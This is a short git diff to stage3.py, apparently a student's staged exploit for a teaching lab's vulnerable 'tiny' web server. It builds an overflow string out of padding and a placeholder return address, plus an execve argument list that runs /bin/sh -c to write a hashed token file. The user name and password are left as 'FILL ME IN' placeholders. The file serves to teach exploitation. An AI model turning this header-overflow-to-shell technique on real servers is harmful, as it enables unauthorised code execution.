Update stage3.py

stage3.py

@@ -22,7 +22,10 @@ ADDRESS = to_bytes(0xdeadbeef)
 
 USER = b"FILL ME IN"
 PASSWORD = b"FILL ME IN"
-SCRIPT = [b"/bin/sh\x00", b"-c\x00", b"echo -n \"" + USER + b"\" | sha384sum > /hackme/tiny/tokens/" + PASSWORD + b"\x00", b"\x00"]
+
+# These are the arguments that make up the shell script we want to execve.
+# Don't forget that there needs to be a NULL pointer as the last argument in addition to these!
+SCRIPT = [b"/bin/sh\x00", b"-c\x00", b"echo -n \"" + USER + b"\" | sha384sum > /hackme/tiny/tokens/" + PASSWORD + b"\x00"]
 
 # The "exploit string" is what we send in as the headers
 HEADERS = PADDING + ADDRESS